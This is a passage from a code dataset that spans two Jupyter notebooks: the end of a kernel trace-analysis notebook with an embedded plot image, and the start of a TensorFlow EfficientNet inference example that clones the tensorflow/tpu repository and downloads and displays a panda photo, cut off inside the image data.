V3DJq2q5iS5MslzktyY\n5NIkJ7TWlo602bq1dvfw8YIkn26t7TmTc0eu0bxXMPuqKon/ewCMi4q/OWH2VVVaazXVMT3t6++Q\nJFe11pa11u5Pcm6SY0YbTAT2oW2S3DrTcwEAABhfQvv62zXJ9SPbNwz3raaqXlRVVyT5fJLXrcu5\nAAAAjKfNuy5gXLTWPpPkM1X1rCT/kOQX1/UaixcvXvV44cKFWbhw4YYqDwAAgFmyZMmSLFmyZEZt\nzWlfT1V1aJLFrbWjh9tvStJaa2dOc87VGQyN32um55rTDt0wpx2A8WJOO3TBnPaN69Ike1bV/Kra\nMskJSc4bbVBVTx55fFCStNZum8m5AAAAjC/D49dTa+3BqnpNkvMz+BDknNbaFVV16uBwOzvJi6vq\npCT3JflpBuF8jed2ciMAAAD0juHxmwjD46EbhscDMF4Mj4cuGB4PAAAAmyChHQAAAHpKaAcAAICe\nEtoBAACgp4R2AAAA6CmhHQAAAHpKaAcAAICeEtoBAACgp4R2AAAA6CmhHQAAAHpKaAcAAICeEtoB\nAACgp4R2AAAA6CmhHQAAAHpKaAcAAICeEtoBAACgp4R2AAAA6CmhHQAAAHpKaAcAAICeEtoBAACg\np4R2AAAA6CmhHQAAAHpKaAcAAICeEtoBAACgp4R2AAAA6CmhHQAAAHpKaAcAAICeEtoBAACgp4R2\nAAAA6CmhHQAAAHpKaAcAAICeEtoBAACgp4R2AAAA6CmhHQAAAHpKaAcAAICeEtoBAACgp4R2AAAA\n6CmhHQAAAHpKaAcAAICeEtoBAACgp4R2AAAA6CmhHQAAAHpKaAcAAICeEtoBAACgp4R2AAAA6Cmh\nHQAAAHpKaAcAAICeEto3gKo6uqqWVtWVVfXGKY6fWFXfHP5cVFVPHTl27XD/N6rqktmtHAAAgD7b\nvOsCNnVVNSfJe5M8J8mNSS6tqs+21paONLsmyeGttZ9U1dFJzk5y6PDYyiQLW2vLZ7NuAAAA+k9P\n+/o7JMlVrbVlrbX7k5yb5JjRBq21i1trPxluXpxk15HDFe8DAAAAUxAW19+uSa4f2b4hq4fyyV6R\n5Asj2y3Jv1TVpVX1yo1QHwAAAJsow+NnUVUdkeTlSQ4b2f3LrbWbqmrHDML7Fa21i6Y6f/Hixase\nL1y4MAsXLtyI1QIAALAxLFmyJEuWLJlR22qtbdxqHuWq6tAki1trRw+335SktdbOnNTuqUn+KcnR\nrbWr13Ct05KsaK2dNcWx5r2C2VdVGQyIAYBxUPE3J8y+qkprraY6Znj8+rs0yZ5VNb+qtkxyQpLz\nRhtU1e4ZBPZFo4G9qrauqm2Gj38+yZFJvjNrlQMAANBrhsevp9bag1X1miTnZ/AhyDmttSuq6tTB\n4XZ2krck2T7J+2rQbXd/a+2QJDsl+XRVtQzei4+01s7v5k4AAADom7EeHl9VvzuDZj9trf3tRi9m\nLQyPh24YHg/AeDE8Hrow3fD4cQ/tNyV5fwZfu7Ymv9Fa23uWSlojoR26IbQDMF6EdujCdKF93IfH\n/0Nr7a3TNRjONQcAAIBZN9Y97ZsSPe3QDT3tAIwXPe3QBavHr0VV/U5VzauBc6rqsqo6suu6AAAA\nGG9C+8AprbU7M/jKte2SLEryZ92WBAAAwLgT2gcmhiE8L4N57t/N9IvTAQAAwEYntA98varOzyC0\nf6mq5iZZ2XFNAAAAjDkL0SWpqjlJDkhyTWvtjqp6XJJdW2vf6ri0VSxEB92wEB0A48VCdNAFX/m2\ndocN/33q4A90AAAA6J6e9iRV9bmRza2SHJLk6621Z3dU0sPoaYdu6GkHYLzoaYcu6Glfi9bar49u\nV9VuSd7ZUTkAAACQxEJ0a3JDkqd0XQQAAADjTU97kqp6Tx4a/zqxKN1l3VUEAAAAQvuEr408fiDJ\nx1prX+mqGAAAAEgsRLfJsBAddMNCdACMFwvRQRemW4hurOe0V9XZG6INAAAAbAzjPjz+RVX1s2mO\nV5IjZqsYAAAAGDXuof0PZtDmwo1eBQAAAEzBnPZNhDnt0A1z2gEYL+a0QxfMaQcAAIBNkNAOAAAA\nPSW0j6iqrbuuAQAAACYI7Umq6peq6ntJlg63n1ZV7+u4LAAAAMac0D7wV0mOSnJbkrTWvpnk8E4r\nAgAAYOwJ7UOttesn7Xqwk0IAAABgaNy/p33C9VX1S0laVW2R5HeSXNFxTQAAAIw5Pe0Dv53k/0my\na5IfJjlguA0AAACdqdZa1zUwA1XVvFcw+6oqif97AIyLir85YfZVVVprNdUxw+OTVNWTkrw2yRMz\n8pq01l7YVU0AAAAgtA98Jsk5ST6XZGXHtQAAAEASoX3Cva21d3ddBAAAAIwypz1JVf1mkj2TfCnJ\nvRP7W2uXdVbUJOa0QzfMaQdgvJjTDl0wp33t9k+yKMkReWh4fEvy7M4qAgAAYOzpaU9SVT9Ism9r\n7b6ua1kTPe3QDT3tAIwXPe3Qhel62n1P+8B3kmzbdREAAAAwyvD4gW2TLK2qS7P6nHZf+QYAAEBn\nhPaB07ouAAAAACYzp30TYU47dMOcdgDGiznt0AWrx69BVV3UWjusqlZk9b/KK0lrrc3rqDQAAAAY\n7572qtqitXZ/13XMhJ526IaedgDGi5526ILV49fsq10XAAAAAGsy7qF9yk8yAAAAoA/Gek57kh2r\n6nfXdLC1dtZsFgMAAACjxj20b5Zkm+hxBwAAoIfGfSG6y1prB3Vdx0xYiA66YSE6AMaLheigCxai\nWzM97AAAAPTWuIf252yIi1TV0VW1tKqurKo3TnH8xKr65vDnoqp66kzPBQAAYHyN9fD4DaGq5iS5\nMoMPAG5McmmSE1prS0faHJrkitbaT6rq6CSLW2uHzuTckWsYHg8dMDwegPFieDx0wfD4jeuQJFe1\n1pa11u5Pcm6SY0YbtNYubq39ZLh5cZJdZ3ouAAAA40toX3+7Jrl+ZPuGPBTKp/KKJF94hOcCAAAw\nRsb9K9+SJFX135OcmeQXMlicrpK01tq8Dfw8RyR5eZLDNuR1AQAAeHQS2gf+PMmvt9aueATn/jDJ\n7iPbTxjuW81w8bmzkxzdWlu+LudOWLx48arHCxcuzMKFCx9BuQAAAHRpyZIlWbJkyYzaWoguSVV9\npbX2y4/w3M2SfD+DxeRuSnJJkpeNfgBQVbsn+bcki1prF6/LuSNtLUQHHbAQHQDjxUJ00IXpFqLT\n0z7wtar6eJLPJLl3Ymdr7VNrO7G19mBVvSbJ+RmsEXBOa+2Kqjp1cLidneQtSbZP8r4aJID7W2uH\nrOncDX5MeprgAAAXJUlEQVR3AAAAbJL0tCepqg9Osbu11k6Z9WLWQE87dENPOwDjRU87dGG6nnah\nfRMhtEM3hHYAxovQDl3wPe1rUVVPqKpPV9WPhj//VFVP6LouAAAAxpvQPvDBJOcl2WX487nhPgAA\nAOiM4fFJqury1toBa9vXJcPjoRuGxwMwXgyPhy4YHr92t1XVb1bVZsOf30xyW9dFAQAAMN6E9oFT\nkrwkyc0ZfF/6cUle3mlFAAAAjD3D4zcRhsdDNwyPB2C8GB4PXZhuePzms11Mn1TVH7bW/ryq3pMp\n/ipvrb2ug7IAAAAgyZiH9iRXDP/9WqdVAAAAwBTGOrS31j43fHh3a+2To8eq6vgOSgIAAIBVzGlP\nUlWXtdYOWtu+LpnTDt0wpx2A8WJOO3TBnPY1qKpfS/K8JLtW1btHDs1L8kA3VQEAAMDAWIf2JDdm\nMJ/9hUm+PrJ/RZI3dFIRAAAADBken6SqtsjgA4zdW2vf77qeqRgeD90wPB6A8WJ4PHRhuuHxc2a7\nmJ46OsnlSb6YJFV1QFWd121JAAAAjDuhfWBxkkOS3JEkrbXLkzypy4IAAABAaB+4v7X2k0n7jAsC\nAACgU+O+EN2E71bViUk2q6q9krwuyX92XBMAAABjTk/7wGuT7Jfk3iQfS3Jnktd3WhEAAABjz+rx\nmwirx0M3rB4PwHixejx0YbrV48d6eHxVfS7T/DXeWnvhLJYDAAAAqxnr0J7kHV0XAAAAAGtiePxQ\nVW2ZZJ8Met6/31q7r+OSVmN4PHTD8HgAxovh8dAFw+PXoqqen+RvklydpJI8qapOba19odvKAAAA\nGGd62pNU1dIkL2it/WC4/eQk/9xa26fbyh6ipx26oacdgPGipx26MF1Pu698G1gxEdiHrkmyoqti\nAAAAINHTniSpqvcnmZ/kExl0qR2f5Lok/5okrbVPdVfdgJ526IaedgDGi5526MJ0Pe1Ce5Kq+uA0\nh1tr7ZRZK2YNhHbohtAOwHgR2qELQvujgNAO3RDaARgvQjt0werxa1FVT0ry2iRPzMhr0lp7YVc1\nAQAAgNA+8Jkk5yT5XJKVHdcCAAAASYT2Cfe21t7ddREAAAAwypz2JFX1m0n2TPKlJPdO7G+tXdZZ\nUZOY0w7dMKcdgPFiTjt0wZz2tds/yaIkR+Sh4fEtybM7qwgAAICxp6c9SVX9IMm+rbX7uq5lTfS0\nQzf0tAMwXvS0Qxem62mfM9vF9NR3kmzbdREAAAAwyvD4gW2TLK2qS7P6nHZf+QYAAEBnhPaB07ou\nAAAAACYzp32oqnZKcvBw85LW2o+6rGcyc9qhG+a0AzBezGmHLpjTvhZV9ZIklyQ5PslLkny1qo7r\ntioAAADGnZ72JFX1zSS/OtG7XlU7JvnX1trTuq3sIXraoRt62gEYL3raoQt62tduzqTh8LfFawMA\nAEDHLEQ38MWq+lKSjw23X5rkCx3WAwAAAIbHT6iq/57ksOHmha21T3dZz2SGx0M3DI8HYLwYHg9d\nmG54/FiH9qraM8lOrbWvTNp/WJKbWmtXd1PZwwnt0A2hHYDxIrRDF8xpX7N3Jrlziv0/GR4DAACA\nzox7aN+ptfbtyTuH+544++UAAADAQ8Y9tG87zbHHzPQiVXV0VS2tqiur6o1THP/FqvrPqvpZVf3u\npGPXVtU3q+obVXXJOtQOAADAo9y4h/avVdUrJ++sqlck+fpMLlBVc5K8N8lRSfZL8rKq2mdSs9uS\nvDbJX0xxiZVJFrbWDmytHbIuxQMAAPDoNu5f+fb6JJ+uqt/IQyH9GUm2THLsDK9xSJKrWmvLkqSq\nzk1yTJKlEw1aa7cmubWqXjDF+RUfngAAADCFsQ7trbVbkvxSVR2RZP/h7n9urf37Olxm1yTXj2zf\nkEGQn3EZSf6lqh5McnZr7e/W4VwAAAAexcY6tE9orf1Hkv/o6Ol/ubV2U1XtmEF4v6K1dtFUDRcv\nXrzq8cKFC7Nw4cLZqRAAAIANZsmSJVmyZMmM2o7197RvCFV1aJLFrbWjh9tvStJaa2dO0fa0JCta\na2et4VprPO572qEbvqcdgPHie9qhC76nfeO6NMmeVTW/qrZMckKS86Zpv+qNqKqtq2qb4eOfT3Jk\nku9szGIBAADYdBgev55aaw9W1WuSnJ/BhyDntNauqKpTB4fb2VW1U5KvJZmbZGVV/U6SfZPsmMFC\neC2D9+IjrbXzu7kTAAAA+sbw+E2E4fHQDcPjARgvhsdDFwyPBwAAgE2Q0A4AAAA9JbQDAABATwnt\nAAAA0FNCOwAAAPSU0A4AAAA9JbQDAABATwntAAAA0FNCOwAAAPSU0A4AAAA9JbQDAABATwntAAAA\n0FNCOwAAAPSU0A4AAAA9JbQDAABATwntAAAA0FNCOwAAAPSU0A4AAAA9JbQDAABATwntAAAA0FNC\nOwAAAPSU0A4AAAA9JbQDAABATwntAAAA0FNCOwAAAPSU0A4AAAA9JbQDAABATwntAAAA0FNCOwAA\nAPSU0A4AAAA9JbQDAABATwntAAAA0FNCOwAAAPSU0A4AAAA9JbQDAABATwntAAAA0FNCOwAAAPSU\n0A4AAAA9JbQDAABATwntAAAA0FNCOwAAAPSU0A4AAAA9JbQDAABATwntAAAA0FNCOwAAAPSU0A4A\nAAA9JbQDAABATwntG0BVHV1VS6vqyqp64xTHf7Gq/rOqflZVv7su5wIAADC+qrXWdQ2btKqak+TK\nJM9JcmOSS5Oc0FpbOtJmhyTzk7woyfLW2lkzPXfkGs17BbOvqpL4vwfAuKj4mxNmX1WltVZTHdPT\nvv4OSXJVa21Za+3+JOcmOWa0QWvt1tba15M8sK7nAgAAML6E9vW3a5LrR7ZvGO7b2OcCAADwKLd5\n1wUwc4sXL171eOHChVm4cGFntQAAAPDILFmyJEuWLJlRW3Pa11NVHZpkcWvt6OH2m5K01tqZU7Q9\nLcmKkTnt63KuOe3QAXPaARgv5rRDF8xp37guTbJnVc2vqi2TnJDkvGnaj74R63ouAAAAY8Tw+PXU\nWnuwql6T5PwMPgQ5p7V2RVWdOjjczq6qnZJ8LcncJCur6neS7Ntau2uqczu6FQAAAHrG8PhNhOHx\n0A3D4wEYL4bHQxcMjwcAAIBNkNAOAAAAPSW0AwAAQE8J7QAAANBTQjsAAAD0lNAOAAAAPSW0AwAA\nQE8J7QAAANBTQjsAAAD0lNAOAAAAPSW0AwAAQE8J7QAAANBTQjsAAAD0lNAOAAAAPSW0AwAAQE8J\n7QAAANBTQjsAAAD0lNAOAAAAPSW0AwAAQE8J7QAAANBTQjsAAAD0lNAOAAAAPSW0AwAAQE8J7QAA\nANBTQjsAAAD0lNAOAAAAPSW0AwAAQE8J7QAAANBTQjsAAAD0lNAOAAAAPSW0AwAAQE8J7QAAANBT\nQjsAAAD0lNAOAAAAPSW0AwAAQE8J7QAAANBTQjsAAAD0lNAOAAAAPSW0AwAAQE8J7QAAANBTQjsA\nAAD0lNAOAAAAPSW0AwAAQE8J7QAAANBTQjsAAAD0lNAOAAAAPSW0AwAAQE8J7RtAVR1dVUur6sqq\neuMa2ry7qq6qqsur6sCR/ddW1Ter6htVdcnsVQ0AAEDfbd51AZu6qpqT5L1JnpPkxiSXVtVnW2tL\nR9r8WpInt9b2qqpnJnl/kkOHh1cmWdhaWz7LpQMAANBzetrX3yFJrmqtLWut3Z/k3CTHTGpzTJIP\nJ0lr7atJHltVOw2PVbwPAAAATEFYXH+7Jrl+ZPuG4b7p2vxwpE1L8i9VdWlVvXKjVQkAAMAmx/D4\n7v1ya+2mqtoxg/B+RWvtoqkaLl68eNXjhQsXZuHChbNTIQAAABvMkiVLsmTJkhm1rdbaxq3mUa6q\nDk2yuLV29HD7TUlaa+3MkTZ/k+Q/WmsfH24vTfIrrbVbJl3rtCQrWmtnTfE8zXsFs6+qMhgQAwDj\noOJvTph9VZXWWk11zPD49Xdpkj2ran5VbZnkhCTnTWpzXpKTklUh/47W2i1VtXVVbTPc//NJjkzy\nndkrHQAAgD4zPH49tdYerKrXJDk/gw9BzmmtXVFVpw4Ot7Nba5+vqudV1Q+S/DTJy4en75Tk01XV\nMngvPtJaO7+L+wAAAKB/DI/fRBgeD90wPB6A8WJ4PHTB8HgAAADYBAntAAAA0FNCOwAAAPSU0A4A\nAAA9JbQDAABATwntAAAA0FNCOwAAAPSU0A4AAAA9JbQDAABATwntAAAA0FNCOwAAAPSU0A4AAAA9\nJbQDAABATwntAAAA0FNCOwAAAPSU0A4AAAA9JbQDAABATwntAAAA0FNCOwAAAPSU0A4AAAA9JbQD\nAABATwntAAAA0FNCOwAAAPSU0A4AAAA9JbQDAABATwntAAAA0FNCOwAAAPSU0A4AAAA9JbQDAABA\nTwntAAAA0FNCOwAAAPSU0A4AAAA9JbQDAABATwntAAAA0FNCOwAAAPSU0A4AAAA9JbQDAABATwnt\nAAAA0FNCOwAAAPSU0A4AAAA9JbQDAABATwntAAAA0FNCOwAAAPSU0A4AAAA9JbQDAABATwntAAAA\n0FNCOwAAAPSU0L4BVNXRVbW0qq6sqjeuoc27q+qqqrq8qg5Yl3MBAAAYT0L7eqqqOUnem+SoJPsl\neVlV7TOpza8leXJrba8kpyb5m5meCwAAwPgS2tffIUmuaq0ta63dn+TcJMdManNMkg8nSWvtq0ke\nW1U7zfBcAAAAxpTQvv52TXL9yPYNw30zaTOTcwEAABhTm3ddwJiqR3RSPaLTgPXm/x4A48PfnNAv\nQvv6+2GS3Ue2nzDcN7nNblO02XIG567SWluvQgEAAOif6T4sMzx+/V2aZM+qml9VWyY5Icl5k9qc\nl+SkJKmqQ5Pc0Vq7ZYbnAsDYuOGGG/LsZz87++23XxYsWJB3v/vdXZcEAJ3S076eWmsPVtVrkpyf\nwYcg57TWrqiqUweH29mttc9X1fOq6gdJfprk5dOd29GtAEDnNt9885x11lk54IADctddd+XpT396\njjzyyOyzjy9XAWA8lSHXm4aqat4rAMbNi170orz2ta/Nc57znK5LAYCNpqrSWptyjLzh8QBAL117\n7bW5/PLL88xnPrPrUgCgM0I7ANA7d911V4477ri8613vyjbbbNN1OQDQGaEdAOiVBx54IMcdd1wW\nLVqUY445putyAKBT5rRvIsxpB2BcnHTSSdlhhx1y1llndV0KAMyK6ea0C+2bCKEdgHHwla98JYcf\nfngWLFiQqkpV5e1vf3uOPvrorksDgI1GaH8UENoBAAAenaweDwAAAJugzac7+JjHPObmn/3sZzvN\nVjGs2VZbbZWqKT94AQAAYBO21VZbrVzTsWmHxxuS3R/D4RJdlwEAAMAGtkkMj3/Sk56U22+/fdo2\nZ5xxxixV88hcdNFF2X///XPQQQfl3nvvXWO7ww47bBarAgAAxsUXv/jF7LPPPtl7771z5plnPuz4\neeedl6c97Wk58MAD84xnPCP//u//vurYGWeckf322y9PfepT8xu/8Ru57777ZrN01qA3Pe177LFH\nvva1r2X77bdfY5u5c+dmxYoVs1LPqNbaakPTV65cmTlzHv55x6te9ao861nPyoknnrjOz/Hggw9m\ns802W+NxPe0AAMB0Vq5cmb333jv/9m//ll122SUHH3xwzj333Oyzzz6r2tx9993ZeuutkyTf/va3\nc+yxx+YHP/hBli1bliOOOCJLly7NlltumZe+9KV5/vOfn5NOOqmr2xkrs9LTvmzZsixYsGDV9l/+\n5V/m9NNPzxFHHJHXv/71OfDAA/PUpz41l156aZLk9ttvz1FHHZUFCxbkla985WqB9Nhjj83BBx+c\nBQsW5O///u+TJG9+85tzzz335KCDDsqiRYuSJB/5yEfyzGc+MwcddFBe9apXTRtqv/jFL+bpT396\nDjjggPzqr/5qkuT0009f7TtgFyxYkOuuuy7Lli3LPvvsk5NPPjkLFizI9ddfn7lz5+b3f//3c+CB\nB+biiy9+2PXPOeecfOITn8hb3vKWLFq0KD/96U/z3Oc+N894xjPytKc9Leedd96qtnPnzk2SXHDB\nBTn88MNzzDHHZL/99lvn1xwAAGDCJZdckr322ivz58/PFltskRNOOCGf/exnV2szEdiT5K677soO\nO+yQJJk3b1623HLL/PSnP80DDzyQu+++O7vsssus1s/Upl2Ibl2taaG0e+65J9/4xjdy4YUX5pRT\nTsm3v/3tnH766XnWs56VP/mTP8nnP//5fOADH1jV/oMf/GC23Xbb/OxnP8vBBx+cF7/4xTnjjDPy\n13/917nsssuSJEuXLs3H///27iUkyjWO4/h3nGGcsqgh0QPaVKtBQsZLo6NhIYmEoNS0kqIWwmxc\nunKTi3Cn1MJA3QTKyAgGIkK40LBELFBXkVAWhoknFR00GkOdszj0HC+TaccmOef3Wb0v89zemXfz\nn/9z6exkeHgYq9VKdXU1wWCQW7du7eh/fn6eQCDA0NAQLpeLpaWlH47/7du3tLe34/V6Afj8+TMF\nBQU0NDTErFtVVcXQ0BDl5eX4/X7W19fp7u7m2LFjLCws4PP5qKio2NHP+Pg4r169wuVy7fbVioiI\niIiI7Orjx4+cPn3a3Kenp/Py5csd5bq7u6mtrWV2dpa+vj4AnE4nNTU1uFwujh49SmlpKSUlJXEb\nu3zfL1/TbrFYqKysBKCoqIjl5WXC4TDPnj0zAXZZWRlOp9PUefDgAVlZWfh8Pqanp3nz5g3Alkx6\nf38/Y2NjeL1esrOzGRgY4N27dzHHMDIywuXLl01gfPLkyZjlNrd/5swZE7AD2Gw2/H7/np87Go1S\nW1uLx+OhpKSEmZkZPn36tKNcXl6eAnYREREREYmba9eu8fr1a3p6esws5snJSe7fv8/U1BQzMzOs\nrKzQ0dHxm0cqcICZdpvNxvr6urmPRCLmensGPtZ68G8B8+DgIAMDA7x48YLExESKi4u3tLW5/J07\nd6ivr9/T+GJNnbfZbGxs/LOz/uZ+kpKStpTd75FrwWCQ+fl5xsfHSUhI4Ny5czGfY3s/IiIiIiIi\nPyMtLY0PHz6Y++npadLS0r5bvqioiLW1NRYWFhgdHeXixYtmjzG/38/w8PBP7dclB+vAMu2pqanM\nzc2xuLjI6uoqvb29ZvO0zs5O4O/d1U+cOMHx48e5dOkSwWAQgCdPnpgp6+FwGKfTSWJiIhMTE1vW\nj9vtdvPHwJUrV+jq6mJubg6AxcXFLS/oZj6fj+fPnzM1NWXKApw9e9ZMtx8bG+P9+/emzvYgf7+b\nwIXDYVJSUkhISODp06em759pS0RERERE5Ee8Xq/ZVO7r16+EQiGzRPebyclJc/0tFjp16hRut5uR\nkREikQjRaJT+/n4yMjLiOn6J7UAz7Xfv3sXr9ZKenm5+YIvFgsPhICcnh7W1NR49egRAXV0dlZWV\nhEIhCgsLzRTxq1ev0tzczPnz53G73RQUFJg+AoEAmZmZ5Obm0t7ezr179ygtLWVjYwO73c7Dhw9j\nTjVPTk6mtbWV69evE41GSUlJoa+vjxs3btDW1kZmZib5+fm43W5TZ3tWfS9Z9s1lbt68SXl5OR6P\nhwsXLmx54feTsRcREREREdkLq9VKU1OTiZGqqqrIyMigpaUFi8VCIBDg8ePHtLW1YbfbSUpKIhQK\nAeDxeLh9+za5ublYrVays7MJBAK/+YkE4nDkW3FxMY2NjeTk5Pyrdv7vdOSbiIiIiIjIf1Ncjnzb\nrXMRERERERER2b9dM+1HjhyZjUQiqXEcj3yHw+HYiEQiv/xPFhEREREREYkvh8Px55cvX/6I9dmu\nQbuIiIiIiIiI/D7K3IqIiIiIiIgcUgraRURERERERA4pBe0iIiIiIiIih5SCdhEREREREZFDSkG7\niIiIiIiIyCH1FxbxsRLFmdRwAAAAAElFTkSuQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7f5361b34d50>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "# Plot Average execution time for the single specified kernel function\n", "trace.analysis.functions.plotProfilingStats(\n", " functions = 'update_curr_fair',\n", ")" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.6" }, "toc": { "toc_cell": false, "toc_number_sections": true, "toc_threshold": 6, "toc_window_display": false } }, "nbformat": 4, "nbformat_minor": 0 }

apache-2.0

tensorflow/tpu

models/official/efficientnet/eval_ckpt_example.ipynb

1

163793

{ "nbformat": 4, "nbformat_minor": 0, "metadata": { "colab": { "name": "EfficientNet inference example.ipynb", "version": "0.3.2", "provenance": [], "collapsed_sections": [] }, "kernelspec": { "display_name": "Python 2", "name": "python2" } }, "cells": [ { "cell_type": "markdown", "metadata": { "colab_type": "text", "id": "CpynCqcAT-un" }, "source": [ "# Prerequisites (set up tensorflow/tpu and checkpoints)" ] }, { "cell_type": "code", "metadata": { "colab_type": "code", "id": "f6wokJU2OpdD", "colab": {} }, "source": [ "from __future__ import print_function\n", "from IPython import display\n", "!git clone https://github.com/tensorflow/tpu\n", "display.clear_output()\n", "\n", "# setup path\n", "import sys\n", "sys.path.append('/content/tpu/models/official/efficientnet')\n", "sys.path.append('/content/tpu/models/common')\n", "\n", "model_name = 'efficientnet-b0' #@param" ], "execution_count": 0, "outputs": [] }, { "cell_type": "markdown", "metadata": { "colab_type": "text", "id": "-M06NcURR-2O" }, "source": [ "\n", "# Inference example with pretrained model checkpoint.\n" ] }, { "cell_type": "code", "metadata": { "id": "NMtd_UyPTYqq", "colab_type": "code", "outputId": "61ca628d-a18d-4e1b-fe7c-d08dd69f4751", "colab": { "base_uri": "https://localhost:8080/", "height": 817 } }, "source": [ "!wget https://upload.wikimedia.org/wikipedia/commons/f/fe/Giant_Panda_in_Beijing_Zoo_1.JPG -O panda.jpg\n", "image_file = 'panda.jpg'\n", "display.display(display.Image(image_file))" ], "execution_count": 0, "outputs": [ { "output_type": "stream", "text": [ "--2019-05-24 00:47:44-- https://upload.wikimedia.org/wikipedia/commons/f/fe/Giant_Panda_in_Beijing_Zoo_1.JPG\n", "Resolving upload.wikimedia.org (upload.wikimedia.org)... 208.80.154.240, 2620:0:863:ed1a::2:b\n", "Connecting to upload.wikimedia.org (upload.wikimedia.org)|208.80.154.240|:443... connected.\n", "HTTP request sent, awaiting response... 200 OK\n", "Length: 116068 (113K) [image/jpeg]\n", "Saving to: ‘panda.jpg’\n", "\n", "panda.jpg 100%[===================>] 113.35K 661KB/s in 0.2s \n", "\n", "2019-05-24 00:47:44 (661 KB/s) - ‘panda.jpg’ saved [116068/116068]\n", "\n" ], "name": "stdout" }, { "output_type": "display_data", "data": { "text/plain": [ "<IPython.core.display.Image object>" ], "image/jpeg": "/9j/4AAQSkZJRgABAQEAYABgAAD/4SjTRXhpZgAASUkqAAgAAAAKAA8BAgASAAAAhgAAABABAgAK\nAAAAmAAAABIBAwABAAAAAAAAABoBBQABAAAAogAAABsBBQABAAAAqgAAACgBAwABAAAAAgAAADEB\nAgALAAAAsgAAADIBAgAUAAAAvgAAABMCAwABAAAAAgAAAGmHBAABAAAA0gAAAIwDAABOSUtPTiBD\nT1JQT1JBVElPTgBOSUtPTiBEODAALAEAAAEAAAAsAQAAAQAAAFBpY2FzYSAzLjAAADIwMDc6MTE6\nMTggMTM6MTM6MDcAKACaggUAAQAAALgCAACdggUAAQAAAMACAAAiiAMAAQAAAAIAAAAniAMAAQAA\nAEAGAAAAkAcABAAAADAyMjEDkAIAFAAAAMgCAAAEkAIAFAAAANwCAAABkQcABAAAAAECAwACkQUA\nAQAAAPACAAAEkgoAAQAAAPgCAAAFkgUAAQAAAAADAAAHkgMAAQAAAAIAAAAIkgMAAQAAAAAAAAAJ\nkgMAAQAAAAAAAAAKkgUAAQAAAAgDAACGkgcALAAAABADAACQkgIAAwAAADEwAACRkgIAAwAAADEw\nAACSkgIAAwAAADEwAAAAoAcABAAAADAxMDABoAMAAQAAAP//AAACoAMAAQAAALgCAAADoAMAAQAA\nAGUCAAAFoAQAAQAAAG4DAAAXogMAAQAAAAIAAAAAowcAAQAAAAMAAAABowcAAQAAAAEAAAACowcA\nCAAAADwDAAABpAMAAQAAAAAAAAACpAMAAQAAAAAAAAADpAMAAQAAAAAAAAAEpAUAAQAAAEQDAAAF\npAMAAQAAAEUAAAAGpAMAAQAAAAAAAAAHpAMAAQAAAAIAAAAIpAMAAQAAAAAAAAAJpAMAAQAAAAAA\nAAAKpAMAAQAAAAAAAAAMpAMAAQAAAAAAAAAgpAIAIQAAAEwDAAAAAAAACgAAAIgTAABuAAAACgAA\nADIwMDc6MTE6MTggMTM6MTM6MDcAMjAwNzoxMToxOCAxMzoxMzowNwACAAAAAQAAAAAAAAAGAAAA\nMAAAAAoAAADMAQAACgAAAEFTQ0lJAAAAICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\nICAgAAIAAgECAAEBAAAAAQAAAGQzMzk2MmE2YzhmOWMwZTZmNDY5ZmQ5OWQ3NmE0ZTFhAAACAAEA\nAgAEAAAAUjk4AAIABwAEAAAAMDEwMAAAAAAGAAMBAwABAAAABgAAABoBBQABAAAA2gMAABsBBQAB\nAAAA4gMAACgBAwABAAAAAgAAAAECBAABAAAA6gMAAAICBAABAAAA4SQAAAAAAABIAAAAAQAAAEgA\nAAABAAAA/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAUDBAQEAwUEBAQFBQUGBwwIBwcHBw8LCwkM\nEQ8SEhEPERETFhwXExQaFRERGCEYGh0dHx8fExciJCIeJBweHx7/2wBDAQUFBQcGBw4ICA4eFBEU\nHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh7/wAARCACQ\nAKADASIAAhEBAxEB/8QAHQAAAgMAAwEBAAAAAAAAAAAABQYDBAcBAggACf/EAD0QAAIBAwMCBQIE\nBQEHBAMAAAECAwQFEQASIQYxEyJBUWEUcQcygZEVI0KhsdEIJDNSYnLhksHw8RYlQ//EABoBAAMB\nAQEBAAAAAAAAAAAAAAIDBAEFAAb/xAApEQACAgICAAUEAgMAAAAAAAABAgARAyESMQQTIkFRFCMy\nYULwcYGR/9oADAMBAAIRAxEAPwAv/HnmsH8PpenZ3mgBSLxTujZA39JByRuY8eudJPVjGa4B5LaY\nJaeCTDKpDSysoA4yTjIPro9TVFO3Sgolp8zGbf4u4oY0A4z8k/20Ou00Yhgpp2lZyjxq4G2TKgMM\nZ5B47+owM6+eViGqp1yP1FlqyjaxR0s0UkddTSeSZ4yoYHGUJXJ4xx27507WWlxboaqSfdTFfHUx\nhSGcdgxxyQCMnnPwdIF4mt9LaZKWnhqlnHhsk2MqcM2SfY4IH3B0/dPQ09HY6Jn/AJkDDYVUZ2eQ\ns7c8457D9dMf8OX7iMIJajK9ypadjJJUocUyoPHeXdvU5/5s+bsc9uf2pfQ2uSumWg8GSJlUzRsd\nojwM557j324+dGbhRWyrp2pI6pFkXacYz4YbGSOeOBnGfTXXwqSCljXx4fEmBWDw4ck4ABzkYznA\nGf30CZFGobYtaMD1PT1PPSQrAkQkR1bcBxJx3DAAHv2zqg1pFRC8CW+lQMQ/1KIyyK2ecnP24+dF\naylp5w863ZI44wiSM9RjGD+cqOOTj7DUs3gRJI1SzLHyZJIoyWOAOVAPtjn40wZVvRgDAGlGgtax\n07xxxnZGWy7K380842jPcDPP21VahKKS+6eF5F2gtyFA7Y+MDV1Lt/uCzYlaMkhCQNw5IAwPgHUd\ntraxwalqSYQE/wAtfDJXjjI476MdXGrjUUJbtjR7WViAisieJuwEBJ4+eQNcwUhpquqR6iZfFUIF\nPfOc8ftoUr1clNKqUskshw4VoezKcjP+mo7pdjVQQeI+yQjLNwMP6jk/P9tCFLdQy4B3OOpI/Duo\nZyJR5jk8kew0DWOYXCKRpS8CSlmXsDjlef8AOp75WK8BWZtwVg2Q+DtP